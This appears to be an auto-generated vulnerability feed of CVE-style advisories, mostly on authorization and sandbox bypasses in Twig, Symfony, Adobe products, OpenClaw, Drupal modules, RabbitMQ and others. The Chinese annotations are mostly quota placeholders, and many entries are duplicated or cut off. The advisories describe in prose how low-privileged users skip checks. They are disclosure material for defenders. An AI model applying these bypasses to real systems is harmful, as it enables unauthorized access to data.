Twig is a template language for PHP. Prior to 3.27.0, the column filter passes the active sandbox state as a boolean but does not forward the current Source to SandboxExtension::checkPropertyAllowed(), so SourcePolicyInterface decisions are lost and a template author can read public or magic properties not allowed by the sandbox policy. This issue is fixed in version 3.27.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Twig is a template language for PHP. Prior to 3.27.0, the sandbox __toString() checks do not fully cover Traversable values passed to join and replace filters or operands evaluated by the in and not in operators, allowing contained Stringable objects to be coerced to strings without consulting the sandbox policy. This issue is fixed in version 3.27.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Twig is a template language for PHP. Prior to 3.27.0, ArrayExpression does not guard dynamic mapping keys that are coerced to strings, allowing PHP to invoke __toString() on a Stringable object used as a mapping key without calling SandboxExtension::ensureToStringAllowed(). This issue is fixed in version 3.27.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Twig is a template language for PHP. Prior to 3.26.0, several Twig language constructs trigger PHP string coercion on a Stringable operand without consulting SecurityPolicy::checkMethodAllowed(), allowing a sandboxed template author to invoke __toString() on objects reachable in the render context through conditional expressions, comparison operators, tests, template-loading tags, dynamic attribut
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Twig is a template language for PHP. Prior to 3.26.0, the column filter passes object arrays to PHP array_column(), which reads public and magic properties without reaching CoreExtension::getAttribute() or SandboxExtension::checkPropertyAllowed(), allowing an untrusted template author with column in allowedFilters to read properties that are not in the sandbox allowlist. This issue is fixed in ver
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain unauthorized read and write access. Exploitation of this issue does not require user interaction. Scope is changed.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Twig is a template language for PHP. Prior to 3.27.0, the sandbox __toString() checks do not fully cover Traversable values passed to join and replace filters or operands evaluated by the in and not in operators, allowing contained Stringable objects to be coerced to strings without consulting the sandbox policy. This issue is fixed in version 3.27.0.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Twig is a template language for PHP. Prior to 3.27.0, ArrayExpression does not guard dynamic mapping keys that are coerced to strings, allowing PHP to invoke __toString() on a Stringable object used as a mapping key without calling SandboxExtension::ensureToStringAllowed(). This issue is fixed in version 3.27.0.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Twig is a template language for PHP. Prior to 3.27.0, the column filter passes the active sandbox state as a boolean but does not forward the current Source to SandboxExtension::checkPropertyAllowed(), so SourcePolicyInterface decisions are lost and a template author can read public or magic properties not allowed by the sandbox policy. This issue is fixed in version 3.27.0.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Twig is a template language for PHP. Prior to 3.27.0, the per-template filter, tag, and function allow-list verdict is computed when a Template instance is constructed and can remain cached after sandbox state changes between renders, allowing a later sandboxed render to reuse a template that was originally checked with a different or empty policy. This issue is fixed in version 3.27.0.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.18.0 until 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1, UnwrappedPropertyHandler.processUnwrapped() replays buffered JSON for a @JsonUnwrapped property and calls prop.deserializeAndSet() without a prop.visibleInView(ctxt.getActiveView()) guard, allowing a property annotated with
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain unauthorized read and write access. Exploitation of this issue does not require user interaction. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Twig is a template language for PHP. Prior to 3.26.0, the column filter passes object arrays to PHP array_column(), which reads public and magic properties without reaching CoreExtension::getAttribute() or SandboxExtension::checkPropertyAllowed(), allowing an untrusted template author with column in allowedFilters to read properties that are not in the sandbox allowlist. This issue is fixed in ver
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Twig is a template language for PHP. Prior to 3.26.0, several Twig language constructs trigger PHP string coercion on a Stringable operand without consulting SecurityPolicy::checkMethodAllowed(), allowing a sandboxed template author to invoke __toString() on objects reachable in the render context through conditional expressions, comparison operators, tests, template-loading tags, dynamic attribut
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary In multi-tenant HTTP mode (`ENABLE_MULTI_TENANT=true`), an authenticated tenant could, under certain conditions, reach n8n-mcp's local default-scope `workflow_versions` backups instead of being confined to its own tenant scope. This affects n8n-mcp's own local workflow-version storage, not a normal n8n API capability. ## Impact An authenticated MCP HTTP tenant could read or delete wo
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in .NET allows an unauthorized attacker to bypass a security feature over a network.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to 5.4.53, 6.4.41, 7.4.13, and 8.0.13, DefaultAuthenticationFailureHandler honored the request-supplied _failure_path parameter when failure_forward: true was enabled, allowing an unauthenticated failing login request to dispatch a subrequest to access_control-protected GET routes that skipped f
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Animate is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Animate is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A high-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue does not require user interaction. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.18.0 until 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1, UnwrappedPropertyHandler.processUnwrapped() replays buffered JSON for a @JsonUnwrapped property and calls prop.deserializeAndSet() without a prop.visibleInView(ctxt.getActiveView()) guard, allowing a property annotated with
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Authentication bypass by assumed-immutable data in ASP.NET Core allows an authorized attacker to elevate privileges over a network.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to 7.4.12 and 8.0.12, method-scoped #[IsGranted], #[IsSignatureValid], and #[IsCsrfTokenValid] attributes can be configured for GET only, but Symfony routes HEAD requests to the GET handler while the attribute check is skipped, allowing protected controllers to execute and leak headers or perfor
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Improper authorization in the access request status endpoint in Devolutions Server 2026.2.11, 2026.1.22 allows an authenticated low-privileged user to approve their own pending access request via a direct call to the request status endpoint, bypassing the required approver review.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to 5.4.53, 6.4.41, 7.4.13, and 8.0.13, DefaultAuthenticationFailureHandler honored the request-supplied _failure_path parameter when failure_forward: true was enabled, allowing an unauthenticated failing login request to dispatch a subrequest to access_control-protected GET routes that skipped f
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.3.22 before 2026.6.6 contain an authorization bypass vulnerability where WhatsApp group IDs can satisfy elevated sender allowlists. Attackers with lower-trust access can perform actions requiring stronger authorization by leveraging group ID validation in the affected feature.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.5.28 before 2026.6.6 contain an authorization bypass vulnerability in native web search that allows lower-trust callers to perform actions requiring stronger policy checks. Attackers can exploit misconfigured input paths to bypass intended authorization controls and execute restricted operations.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.6.5 before 2026.6.9 contain a vulnerability in the plugin install wrappers that could skip the install policy (authorization) check. When the affected feature is enabled and reachable, a lower-trust caller or a configured input path could execute or persist actions beyond the caller's intended authorization. Impact depends on the operator's configuration and whether lower-tr
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw Feishu tools (npm package @openclaw/feishu) in versions <= 2026.6.6 could ignore per-account disablement. A lower-trust caller or a configured input path could perform actions that should have required a stronger authorization or policy check, resulting in unauthorized operations. The issue is fixed in version 2026.6.9. Impact depends on the operator's configuration and whether lower-trus
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.6.6 before 2026.6.9 contain an authorization bypass vulnerability in Discord guild actions that allows lower-trust callers to perform actions requiring stronger authorization checks. Attackers can exploit misconfigured input paths to skip cross-provider requester authorization and execute restricted operations.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw @openclaw/feishu versions 2026.6.6 and earlier contain an incorrect authorization vulnerability in which the Feishu permission tools could ignore per-account disablement settings. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could perform actions that should have required a stronger authorization or policy check. The issue is fixed in v
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary `GET /api/timesheets?user=` (and `users[]=`) returns the targeted user's timesheet records to any caller that has the `view_other_timesheet` permission, without verifying that the caller is teamlead of any team containing the target user. The per-record endpoint `GET /api/timesheets/{id}` correctly enforces this check via `TimesheetVoter`/`RolePermissionManager::checkTeamAccessTimeshee
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw 版本 2026.5.28 至 2026.6.6（不含）存在一个授权绕过漏洞，位于原生 Web 搜索功能中。该漏洞允许低信任级别的调用者执行需要更强策略检查的操作。攻击者可以利用配置错误的输入路径绕过预期的授权控制，执行受限操作。CVSS 评分为 5.4，攻击向量为网络，攻击复杂度低，需要低权限，无需用户交互，影响范围未改变，对机密性和完整性有低影响，对可用性无影响。该漏洞影响 OpenClaw 产品，厂商已发布修复版本（2026.6.6 及之后）。建议用户尽快升级到最新版本。若无法立即升级，应限制受影响组件的网络暴露并实施严格的输入验证。截至报告时，该漏洞尚未被列入已知被利用漏洞目录（KEV）且无在野利用报告。
💡 影响/原因: 该漏洞可导致低权限攻击者绕过授权执行受限操作，可能造成敏感信息泄露或配置篡改。由于攻击复杂度低且无需用户交互，在内部网络环境中风险尤为突出。
CVE-2026-62196 存在于 OpenClaw 软件中（版本 2026.3.22 至 2026.6.6 之前），是一个授权绕过漏洞。该漏洞源于 OpenClaw 在处理 WhatsApp 群组 ID 验证时存在缺陷，使得低权限的攻击者能够通过提交特定的群组 ID 来满足提升后的发送者白名单检查，从而执行通常需要更高级别授权的操作。CVSS 评分 8.3，属于高危漏洞，攻击复杂度低，无需用户交互，可导致机密性和完整性受损。受影响的组件是 OpenClaw 的授权模块。建议用户立即升级至 OpenClaw 2026.6.6 或更高版本，并限制对受影响服务的网络访问，以降低风险。目前官方已发布修复版本，暂无已知的在野利用报告。
💡 影响/原因: 该漏洞允许低权限攻击者绕过授权检查，执行高权限操作，可能造成数据泄露或篡改，严重影响系统安全性。
CVE-2026-62193 是 OpenClaw 2026.6.5 至 2026.6.8 版本中存在的一个授权绕过漏洞。漏洞位于插件安装封装器（plugin install wrappers）中，当受影响功能被启用且可访问时，攻击者可能绕过安装策略（授权）检查。具体而言，低信任度的调用者或通过配置的输入路径，能够执行或持久化超出其预期授权的操作。该漏洞的利用条件包括：目标环境启用了受影响功能，且攻击者拥有低权限（需登录，CVSS 权限要求为低），攻击通过远程网络进行，无需用户交互。漏洞影响机密性为无，完整性为高，可用性无，CVSS 评分为 6.5（中等）。厂商已发布版本 2026.6.9 修复此问题。建议用户立即升级至 2026.6.9 或更高版本，并在无法立即升级时限制受影响功能的网络暴露或禁用该功能。
💡 影响/原因: 该漏洞允许低权限攻击者绕过授权检查，可能实现非授权安装或持久化操作，导致系统完整性受破坏。由于利用条件简单（需低权限且网络可达），在启用受影响功能的环境中风险较高。
CVE-2026-62192 是 OpenClaw（一个 Discord 管理机器人）中的授权绕过漏洞，影响版本 2026.6.6 至 2026.6.9（不含 2026.6.9）。漏洞存在于 Discord 公会操作中，由于输入路径配置错误，导致低信任级调用者能够绕过跨提供者请求者授权检查，执行本应需要更强授权的高权限操作。攻击者可在未授权情况下修改公会设置、删除数据或破坏可用性，对完整性和可用性造成严重影响（CVSS 评分 8.1）。该漏洞无需用户交互，攻击复杂度低，但需要低权限账号。厂商已在版本 2026.6.9 中修复此问题。建议用户立即升级至最新版本，并审查网络与 API 访问控制策略，限制未授权访问。
💡 影响/原因: 该授权绕过漏洞可让低权限攻击者执行本应受限的管理操作，直接威胁系统数据完整性和服务可用性，且 CVSS 8.1 评分高、利用难度低，需紧急修复。
OpenClaw 版本 2026.6.6 至 2026.6.9 之前（不含 2026.6.9）存在一个授权绕过漏洞。该漏洞位于消息变更处理（message mutation handling）逻辑中，由于缺乏充分的授权检查，低信任度的调用者能够执行原本需要更高权限的操作。攻击者可以通过精心构造的输入路径，绕过请求者的身份验证，从而在受影响功能启用且可达的情况下执行特权操作。漏洞的 CVSS 评分为 7.1（高危），攻击复杂度低，需要低权限，但影响完整性严重（I:H），可用性影响较小（A:L）。受影响的组件为 OpenClaw 的消息处理模块，若该功能暴露于网络，远程攻击者可能利用此漏洞。修复版本为 2026.6.9，建议所有用户尽快升级。同时，限制受影响接口的网络访问、实施最小权限原则可降低风险。该漏洞尚未被列入已知被利用漏洞目录（KEV），也未发现野外利用证据。
💡 影响/原因: 授权绕过漏洞允许低权限用户执行特权操作，可能导致系统完整性受损或数据被篡改。OpenClaw 在特定版本中普遍存在此问题，且可远程触发，企业应优先修复。
OpenClaw versions before 2026.6.9 contain an authorization bypass vulnerability in the flock wrapper that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can leverage configured input paths to bypass durable exec approval binding and perform unauthorized operations when the affected feature is enabled.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw @openclaw/feishu versions 2026.6.6 and earlier contain an incorrect authorization vulnerability in which the Feishu permission tools could ignore per-account disablement settings. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could perform actions that should have required a stronger authorization or policy check. The issue is fixed in v
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw Feishu tools (npm package @openclaw/feishu) in versions <= 2026.6.6 could ignore per-account disablement. A lower-trust caller or a configured input path could perform actions that should have required a stronger authorization or policy check, resulting in unauthorized operations. The issue is fixed in version 2026.6.9. Impact depends on the operator's configuration and whether lower-trus
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions before 2026.6.8 contain an authorization bypass vulnerability in OpenAI-compatible HTTP model overrides that allows lower-trust callers to perform actions requiring stronger authorization checks. Attackers can exploit misconfigured input paths to bypass admin authorization policies and execute restricted operations.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.5.28 before 2026.6.6 contain an authorization bypass vulnerability in native web search that allows lower-trust callers to perform actions requiring stronger policy checks. Attackers can exploit misconfigured input paths to bypass intended authorization controls and execute restricted operations.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.3.22 before 2026.6.6 contain an authorization bypass vulnerability where WhatsApp group IDs can satisfy elevated sender allowlists. Attackers with lower-trust access can perform actions requiring stronger authorization by leveraging group ID validation in the affected feature.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.6.5 before 2026.6.9 contain a vulnerability in the plugin install wrappers that could skip the install policy (authorization) check. When the affected feature is enabled and reachable, a lower-trust caller or a configured input path could execute or persist actions beyond the caller's intended authorization. Impact depends on the operator's configuration and whether lower-tr
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.6.6 before 2026.6.9 contain an authorization bypass vulnerability in Discord guild actions that allows lower-trust callers to perform actions requiring stronger authorization checks. Attackers can exploit misconfigured input paths to skip cross-provider requester authorization and execute restricted operations.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.6.6 before 2026.6.9 contain an authorization bypass vulnerability in message mutation handling that allows lower-trust callers to perform actions requiring stronger authorization checks. Attackers can exploit misconfigured input paths to skip requester authorization and execute privileged operations when the affected feature is enabled and reachable.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions before 2026.6.9 contain an authorization bypass vulnerability in the flock wrapper that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can leverage configured input paths to bypass durable exec approval binding and perform unauthorized operations when the affected feature is enabled.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw @openclaw/feishu versions 2026.6.6 and earlier contain an incorrect authorization vulnerability in which the Feishu permission tools could ignore per-account disablement settings. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could perform actions that should have required a stronger authorization or policy check. The issue is fixed in v
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw Feishu tools (npm package @openclaw/feishu) in versions <= 2026.6.6 could ignore per-account disablement. A lower-trust caller or a configured input path could perform actions that should have required a stronger authorization or policy check, resulting in unauthorized operations. The issue is fixed in version 2026.6.9. Impact depends on the operator's configuration and whether lower-trus
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions before 2026.6.8 contain an authorization bypass vulnerability in OpenAI-compatible HTTP model overrides that allows lower-trust callers to perform actions requiring stronger authorization checks. Attackers can exploit misconfigured input paths to bypass admin authorization policies and execute restricted operations.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ChurchCRM is an open-source church management system. Prior to version 7.4.0, a low-privileged user can bypass the /admin/export UI and exfiltrate the entire member directory. The POST /CSVCreateFile.php endpoint generates and streams a CSV containing the full Personally Identifiable Information (PII) of every Person/Family record in the database, without performing any feature-level or object-lev
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ChurchCRM is an open-source church management system. Prior to version 7.4.0, a low-privileged user can bypass the /admin/export UI and exfiltrate the entire member directory. The POST /CSVCreateFile.php endpoint generates and streams a CSV containing the full Personally Identifiable Information (PII) of every Person/Family record in the database, without performing any feature-level or object-lev
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Tempo Operator's gateway component failed to consistently apply namespace-scoped redaction on some query API response paths when query RBAC was enabled, allowing an authenticated user to read span attributes belonging to other tenants' namespaces.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to verify that the channel referenced in an action cookie matches the channel of the target post, which allows an authenticated user without access to a private channel to trigger interactive post actions on posts in that channel via a cookie obtained from any accessible channel.. Mattermost Advisory ID: MMSA-2026-006
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw has been found in will-moss Isaiah up to 1.36.9. The impacted element is the function Server.Handle of the file app/server/server/server.go of the component Master Websocket Handler. Executing a manipulation of the argument Agent can lead to missing authorization. It is possible to launch the attack remotely. The pull request to fix this issue awaits acceptance.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was detected in coollabsio Coolify up to 4.1.1. The impacted element is an unknown function of the file /app/Policies/ of the component Policy Handler. Performing a manipulation results in missing authorization. Remote exploitation of the attack is possible. The exploit is now public and may be used.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
filebrowser versions before 2.63.17 fail to normalize paths before querying the share index in DeleteWithPathPrefix, allowing authenticated users to leave stale public shares behind. Attackers can delete a shared directory using a trailing-slash path, then recreate the same directory to expose new contents through the dormant public share URL.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capgo before 12.128.2 contains a scope isolation vulnerability in the POST /webhooks/test endpoint that allows app-scoped API keys to invoke org-scoped webhook operations. Attackers with app-scoped credentials can trigger signed outbound webhook deliveries for arbitrary organization webhooks outside their declared app boundary, bypassing the limited_to_apps authorization check.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
filebrowser versions before 2.63.17 fail to normalize paths before querying the share index in DeleteWithPathPrefix, allowing authenticated users to leave stale public shares behind. Attackers can delete a shared directory using a trailing-slash path, then recreate the same directory to expose new contents through the dormant public share URL.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capgo before 12.128.2 contains a scope isolation vulnerability in the POST /webhooks/test endpoint that allows app-scoped API keys to invoke org-scoped webhook operations. Attackers with app-scoped credentials can trigger signed outbound webhook deliveries for arbitrary organization webhooks outside their declared app boundary, bypassing the limited_to_apps authorization check.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
filebrowser versions before 2.63.17 fail to normalize paths before querying the share index in DeleteWithPathPrefix, allowing authenticated users to leave stale public shares behind. Attackers can delete a shared directory using a trailing-slash path, then recreate the same directory to expose new contents through the dormant public share URL.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capgo before 12.128.2 contains a scope isolation vulnerability in the POST /webhooks/test endpoint that allows app-scoped API keys to invoke org-scoped webhook operations. Attackers with app-scoped credentials can trigger signed outbound webhook deliveries for arbitrary organization webhooks outside their declared app boundary, bypassing the limited_to_apps authorization check.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Genolve – AI image AI video generation plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the genolve_setOpt() function in all versions up to, and including, 5.0.5. This makes it possible for authenticated attackers, with Contributor-level access and above, to update arbitrary WordPress options, including enabling user registration and
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Genolve – AI image AI video generation plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the genolve_setOpt() function in all versions up to, and including, 5.0.5. This makes it possible for authenticated attackers, with Contributor-level access and above, to update arbitrary WordPress options, including enabling user registration and
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal AI Agents allows Forceful Browsing. This issue affects AI Agents versions: from 0.0.0 to 1.1.4, from 1.2.0 to 1.2.5, from 1.3.0 to 1.3.1.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Commerce Realex / Global Payments allows Forceful Browsing. This issue affects Commerce Realex / Global Payments versions: from 0.0.0 to 3.0.2.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Advanced Content Feedback (aka admin_feedback) allows Forceful Browsing. This issue affects Advanced Content Feedback (aka admin_feedback) versions: from 0.0.0 to 2.8.0.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Commerce Realex / Global Payments allows Forceful Browsing. This issue affects Commerce Realex / Global Payments versions: from 0.0.0 to 3.0.2.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal AI Agents allows Forceful Browsing. This issue affects AI Agents versions: from 0.0.0 to 1.1.4, from 1.2.0 to 1.2.5, from 1.3.0 to 1.3.1.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Advanced Content Feedback (aka admin_feedback) allows Forceful Browsing. This issue affects Advanced Content Feedback (aka admin_feedback) versions: from 0.0.0 to 2.8.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RabbitMQ is a messaging and streaming broker. Prior to 4.2.6, RabbitMQ AMQP 0-9-1 allows an existing consumer to keep receiving messages after OAuth token expiry or connection.update_secret refresh to reduced scopes because existing consumers are not canceled or reauthorized at delivery time after the channel user state changes. This issue is fixed in version 4.2.6.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RabbitMQ is a messaging and streaming broker. Prior to 3.13.15, 4.0.21, 4.1.11, and 4.2.6, RabbitMQ topic authorization can allow restricted topic writes and binds during metadata-store failures because topic-permission lookup errors from Khepri can collapse to undefined, which the internal backend treats as allow. This issue is fixed in versions 3.13.15, 4.0.21, 4.1.11, and 4.2.6.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RabbitMQ is a messaging and streaming broker. Prior to 3.13.15, 4.0.20, 4.1.11, and 4.2.6, RabbitMQ allows foreign bindings to amq.rabbitmq.reply-to destinations because volatile direct-reply-to queues can be accepted at bind and route time but are missing from Khepri-backed deletion checks, leaving persistent route entries after unbind. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, and
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
